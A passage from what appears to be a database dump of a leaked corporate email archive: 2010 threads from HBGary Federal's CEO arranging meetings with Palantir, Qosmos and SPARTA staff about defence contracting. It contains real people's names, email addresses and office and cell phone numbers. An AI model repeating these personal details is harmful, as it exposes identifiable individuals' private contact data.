23rd\r\n\r\n\r\n\r\n\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Ive been emailing back and\r\nforth with Brian &#8211; I think he&#8217;s in a good place right now\r\n\r\n\r\n\r\n\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Lets chat about some AF\r\nthings we have going on\r\n\r\n\r\n\r\n\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Have you guys approached\r\nGoogle at any point?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMatthew\r\nSteckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com&nbsp;| 202-257-2270\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Monday, February 08,\r\n2010 4:52 PM\r\nTo:&nbsp;Matthew Steckman\r\nSubject:&nbsp;Re: Just was put\r\nout by 451 Analyst Group\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nyeah...more\r\nof those to come. &nbsp;:)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI\r\nwill press Gregs better half, who does most of the scheduling to see when we\r\ncan do the training.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWant\r\nto get caught up with you maybe Wednesday? &nbsp;We are pursing some work down\r\nat the 92nd, also on a proposal with Macaulley Brown for the AF OSI RFP.\r\n&nbsp;We are making partner decisions for the DARPA BAA for cyber genome (there\r\nwill be a palantir element). &nbsp;Also still working with Brian Masterson to\r\nbuild his IRAD, and have some conversations coming up with Dave Luber out of\r\nthe ANO office. &nbsp;Probably a few others that I missed but a good start.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn\r\nFeb 8, 2010, at 4:48 PM, Matthew Steckman wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWow,\r\nnice article.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMatthew\r\nSteckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com&nbsp;| 202-257-2270\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Monday, February 08,\r\n2010 4:20 PM\r\nTo:&nbsp;Matthew Steckman\r\nSubject:&nbsp;Fwd: Just was put\r\nout by 451 Analyst Group\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNice.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBegin\r\nforwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;&quot;Penny Leavy-Hoglund&quot;\r\n&lt;penny@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDate:&nbsp;February 8, 2010 4:15:03 PM EST\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTo:&nbsp;&quot;\'Maria Lucas\'&quot; &lt;maria@hbgary.com&gt;, &quot;\'Rich\r\nCummings\'&quot; &lt;rich@hbgary.com&gt;,\r\n&quot;\'Phil Wallisch\'&quot; &lt;phil@hbgary.com&gt;,\r\n&quot;\'Matt O\'Flynn\'&quot; &lt;matt@hbgary.com&gt;,\r\n&quot;\'Bob Slapnik\'&quot; &lt;bob@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCc:&nbsp;&quot;\'Ted Vera\'&quot; &lt;ted@hbgary.com&gt;, &quot;\'Aaron Barr\'&quot;\r\n&lt;aaron@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSubject: Just was\r\nput out by 451 Analyst Group\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI scanned this so\r\nall could see, not sure we can distribute, so let me check.&nbsp; If you\r\nprinted off a copy you can show clients.&nbsp; This helps in a big way\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\nBarr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary\r\nFederal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\nBarr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary\r\nFederal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3283,'aaron_hbgary_com/3283.html'),(2686,'2010-02-16','\"Aubrey MERCHANT DEST\" <Aubrey.MERCHANTDEST@qosmos.com>','/aaron@hbgary.com/new/1297001252.M148978P3547Q2686.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Qosmos','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nPerfect.&nbsp; See you there ~2:00PM.&nbsp; Thanks.\r\n\r\n&nbsp;\r\n\r\nAubrey\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, February 16, 2010 10:11 AM\r\nTo: Aubrey MERCHANT DEST\r\nSubject: Re: Qosmos\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nOk sounds good. &nbsp;If you\'ve never tried it lets shoot\r\nfor Mon Ami Gabi in Reston Center @2pm (or there abouts).\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 16, 2010, at 10:04 AM, Aubrey MERCHANT DEST wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHello Aaron,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI&#8217;m picking up my guy at Dulles @ ~1:05PM (from Paris,\r\ncustoms should not be an issue at this hour).&nbsp; We can do 2:00PM but might\r\nbe a few minutes late.&nbsp; We could meet at the airport but it is\r\nnoisy.&nbsp; Just give an address or location (Clyde&#8217;s of Reston?)&nbsp;\r\nto meet.&nbsp; Looking forward to it.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBest,\r\n\r\n\r\n\r\n\r\n\r\nAubrey\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Tuesday, February\r\n16, 2010 9:58 AM\r\nTo:&nbsp;Aubrey MERCHANT DEST\r\nSubject:&nbsp;Re: Qosmos\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHi Aubrey,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSorry for delay...trying to get caught back up. &nbsp;I have\r\na 5pm flight out of Dulles tomorrow, but the rest of the day is pretty open.\r\n&nbsp;Any way to accommodate earlier? &nbsp;Or we could try next week.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 16, 2010, at 9:38 AM, Aubrey MERCHANT DEST wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI&#8217;m still hoping to meet with you tomorrow but would like\r\nto push the time back to 3:00PM.&nbsp; My Software Engineer had some flight\r\nrouting issues and is delayed.&nbsp; We can meet you at the location of your\r\nchoice and I think that 60-90 minutes should be adequate for this first\r\nmeeting.&nbsp; I look forward to providing more details about Qosmos\r\ntomorrow.&nbsp; Please confirm your availability.&nbsp; Thanks.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBest,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAubrey\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aubrey MERCHANT DEST&nbsp;\r\nSent:&nbsp;Friday, February 12,\r\n2010 11:07 AM\r\nTo:&nbsp;\'Aaron Barr\'\r\nSubject:&nbsp;RE: Qosmos\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI would like to request a meeting at 1:00PM next\r\nWednesday.&nbsp; I will have one of my software Engineers with me as\r\nwell.&nbsp; Can you fit this into your schedule?&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBest,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAubrey Merchant-Dest\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nConsulting Engineer\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nO: 301-528-8301\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nF:&nbsp; 301-528-8302\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nC:&nbsp; 301-351-4905\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&lt;image001.png&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Monday, February 08,\r\n2010 10:42 PM\r\nTo:&nbsp;Aubrey MERCHANT DEST\r\nSubject:&nbsp;Re: Qosmos\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aubrey,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThats strange.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWe met at the AFCEA conference at the end of the year.\r\n&nbsp;I am actually in Mclean most of the time if I am not in meetings, can we\r\nmeet closer to there? &nbsp;My week has been turned upside down so I have lots\r\nof openings.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 5, 2010, at 10:49 AM, Aubrey MERCHANT DEST wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nInterestingly\r\nI just got a call on my cell phone from a gentleman from PWC.&nbsp; Strange,\r\nhuh?&nbsp; I gave him your contact information.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI\r\nam very interested in having a discussion with you about Qosmos NI\r\ntechnology.&nbsp; Can we meet late next week?&nbsp; Thursday or Friday morning\r\nin Bethesda?&nbsp; Let me know.&nbsp; At least I&#8217;d like to get you take\r\non what we do and how it may be relevant in your mission(s).&nbsp; Thanks.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBest,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAubrey\r\nMerchant-Dest\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nConsulting\r\nEngineer\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nO:\r\n301-528-8301\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nF:&nbsp;\r\n301-528-8302\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nC:&nbsp;\r\n301-351-4905\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&lt;image003.png&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6099,'aaron_hbgary_com/6099.html'),(2687,'2010-02-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001252.M369034P3547Q2687.eml','\"Matthew Steckman\" <msteckman@palantirtech.com>','Re: Just was put out by 451 Analyst Group','Sounds good I will stop by to see the new digs, say 3pm? &nbsp;I think I still have the new address in an email you sent.AaronOn Feb 16, 2010, at 10:24 AM, Matthew Steckman wrote:Im available late afternoon if you want to swing by the new office or just give me a ring.&nbsp;Matthew SteckmanPalantir Technologies | Forward Deployed Engineermsteckman@palantirtech.com&nbsp;| 202-257-2270&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Monday, February 15, 2010 8:27 PMTo:&nbsp;Matthew SteckmanSubject:&nbsp;Re: Just was put out by 451 Analyst Group&nbsp;Yes it was just got my names mixed up. :).&nbsp;AaronFrom my iPhoneOn Feb 15, 2010, at 8:15 PM, Matthew Steckman &lt;msteckman@palantirtech.com&gt; wrote:Not sure that was intended for me?&nbsp;Matthew SteckmanPalantir Technologies | Forward Deployed Engineermsteckman@palantirtech.com&nbsp;| 202-257-2270&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Monday, February 15, 2010 6:35 PMTo:&nbsp;Matthew SteckmanSubject:&nbsp;Re: Just was put out by 451 Analyst Group&nbsp;Hey Brian,&nbsp;Have some time to catch up tomorrow?&nbsp;Aaron&nbsp;On Feb 8, 2010, at 5:13 PM, Matthew Steckman wrote:&nbsp;Wednesday Ill be onsite.&nbsp; Can we sync up Thurs?&nbsp;·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Just let me know when you want Geoff Stowe to drive up to Sacramento·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Ill pencil you in for analyst training on the 23rd·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Ive been emailing back and forth with Brian – I think he’s in a good place right now·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Lets chat about some AF things we have going on·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Have you guys approached Google at any point?&nbsp;Matthew SteckmanPalantir Technologies | Forward Deployed Engineermsteckman@palantirtech.com&nbsp;| 202-257-2270&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Monday, February 08, 2010 4:52 PMTo:&nbsp;Matthew SteckmanSubject:&nbsp;Re: Just was put out by 451 Analyst Group&nbsp;yeah...more of those to come. &nbsp;:)&nbsp;I will press Gregs better half, who does most of the scheduling to see when we can do the training.&nbsp;Want to get caught up with you maybe Wednesday? &nbsp;We are pursing some work down at the 92nd, also on a proposal with Macaulley Brown for the AF OSI RFP. &nbsp;We are making partner decisions for the DARPA BAA for cyber genome (there will be a palantir element). &nbsp;Also still working with Brian Masterson to build his IRAD, and have some conversations coming up with Dave Luber out of the ANO office. &nbsp;Probably a few others that I missed but a good start.&nbsp;Aaron&nbsp;&nbsp;On Feb 8, 2010, at 4:48 PM, Matthew Steckman wrote:Wow, nice article.&nbsp;Matthew SteckmanPalantir Technologies | Forward Deployed Engineermsteckman@palantirtech.com&nbsp;| 202-257-2270&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Monday, February 08, 2010 4:20 PMTo:&nbsp;Matthew SteckmanSubject:&nbsp;Fwd: Just was put out by 451 Analyst Group&nbsp;Nice.&nbsp;Begin forwarded message:From:&nbsp;\"Penny Leavy-Hoglund\" &lt;penny@hbgary.com&gt;Date:&nbsp;February 8, 2010 4:15:03 PM ESTTo:&nbsp;\"\'Maria Lucas\'\" &lt;maria@hbgary.com&gt;, \"\'Rich Cummings\'\" &lt;rich@hbgary.com&gt;, \"\'Phil Wallisch\'\" &lt;phil@hbgary.com&gt;, \"\'Matt O\'Flynn\'\" &lt;matt@hbgary.com&gt;, \"\'Bob Slapnik\'\" &lt;bob@hbgary.com&gt;Cc:&nbsp;\"\'Ted Vera\'\" &lt;ted@hbgary.com&gt;, \"\'Aaron Barr\'\" &lt;aaron@hbgary.com&gt;Subject: Just was put out by 451 Analyst GroupI scanned this so all could see, not sure we can distribute, so let me check.&nbsp; If you printed off a copy you can show clients.&nbsp; This helps in a big way&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',16093,'aaron_hbgary_com/16093.html'),(2688,'2010-02-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001252.M587214P3547Q2688.eml','\"Mettala, Erik\" <Erik.Mettala@cobham.com>','Re: Introductions','Erik,Do you still want to talk? &nbsp;I have been discussing with GD a 3 way partnership. &nbsp;What are your thoughts? &nbsp;The GD folks have told me they are also talking with you, so don\'t want to be redundant, but interested in your thoughts on our approach forward?AaronOn Feb 8, 2010, at 9:08 AM, Mettala, Erik wrote:\r\n\r\nAaron,\r\n&nbsp;\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; I\'m snowed in too...&nbsp; Still have about a mile of road to clear before they get to us.\r\n&nbsp;\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hmm..&nbsp;&nbsp;&nbsp; Half of what we have to discuss is classified, so it would probably be prudent for us to wait until&nbsp;we can get together.&nbsp;&nbsp; \r\n&nbsp;\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Now, given that it\'s supposed to snow again tomorrow,&nbsp;we ought to wait to see when movement is&nbsp;more reasonable.&nbsp;&nbsp; I can\'t do Friday, in any case,&nbsp;but Thursday is a possibility.\r\n&nbsp;\r\nErik&nbsp;\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]Sent: Mon 2/8/2010 8:03 AMTo: Mettala, ErikCc: Rich Cummings; Bob Slapnik; Ted VeraSubject: Re: Introductions\r\nErik, \r\n\r\nI am not going to make it out of the neighborhood today. &nbsp;Should I set up a webex and we can do a technology demonstration and have a discussion online?\r\n\r\nAaron\r\n\r\n\r\nOn Feb 4, 2010, at 9:56 AM, Mettala, Erik wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Please give me a call ASAP.&nbsp; I’ve got a scheduling issue, and your phone number is out of reach.&nbsp; Cell works best.&nbsp;Erik&nbsp;\r\nErik G. Mettala, Ph.D.Chief ScientistSPARTA National Security Systems Sectordba Cobham Analytic Solutions7110 Samuel Morse DriveColumbia, MD 21046www.sparta.comT:&nbsp;443-430-8059C: 703-209-2221F: 443-430-8208&nbsp;Please consider the environment before printing this emailThis e-mail and any files transmitted with it (\"E-mail\") is intended solely for the addressee(s) and may contain confidential and/or legally privileged information. If you are not the addressee(s), any disclosure, reproduction, copying, distribution or other use of the E-mail is prohibited. If you have received this E-mail in error, please delete it and notify the sender immediately via our switchboard or return e-mail.Neither the company nor any subsidiary or affiliate or associated company nor any individual sending this E-mail accepts any liability in respect of the content (including errors and omissions) nor shall this e-mail be deemed to enter the company or any subsidiary or affiliate or associated company into a contract or to create any legally binding obligations unless expressly agreed to in writing under separate cover and timeliness of the E-mail which arise as a result of transmission. If verification is required, please request a hard copy version from the sender.\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] Sent: Tuesday, February 02, 2010 11:47 AMTo: Mettala, ErikSubject: Re: Introductions&nbsp;Hi Erik,\r\n&nbsp;\r\nLooking forward to our meeting later this week. &nbsp;I would like to get an NDA in place between our orgs to discuss freely. &nbsp;Would you like me to send you ours or want to go with yours, I am good either way.\r\n&nbsp;\r\nAaron\r\n&nbsp;\r\n&nbsp;\r\n\r\nOn Jan 27, 2010, at 3:53 PM, Mettala, Erik wrote:\r\nAaron,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Pleased to meet you.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;I look forward to discussing NWOC and other opportunities with you.&nbsp;Erik&nbsp;\r\nErik G. Mettala, Ph.D.Chief ScientistSPARTA National Security Systems Sectordba Cobham Analytic Solutions7110 Samuel Morse DriveColumbia, MD 21046www.sparta.comT:&nbsp;443-430-8059C: 703-209-2221F: 443-430-8208&nbsp;Please consider the environment before printing this emailThis e-mail and any files transmitted with it (\"E-mail\") is intended solely for the addressee(s) and may contain confidential and/or legally privileged information. If you are not the addressee(s), any disclosure, reproduction, copying, distribution or other use of the E-mail is prohibited. If you have received this E-mail in error, please delete it and notify the sender immediately via our switchboard or return e-mail.Neither the company nor any subsidiary or affiliate or associated company nor any individual sending this E-mail accepts any liability in respect of the content (including errors and omissions) nor shall this e-mail be deemed to enter the company or any subsidiary or affiliate or associated company into a contract or to create any legally binding obligations unless expressly agreed to in writing under separate cover and timeliness of the E-mail which arise as a result of transmission. If verification is required, please request a hard copy version from the sender.\r\n\r\n\r\n\r\nFrom: Balenson, David Sent: Wednesday, January 27, 2010 4:02 PMTo: Aaron BarrCc: Balenson, David; Mettala, ErikSubject: RE: Introductions&nbsp;Aaron-&nbsp;Thank you for your inquiry. We’d be happy to exchange capabilities and explore possible ways 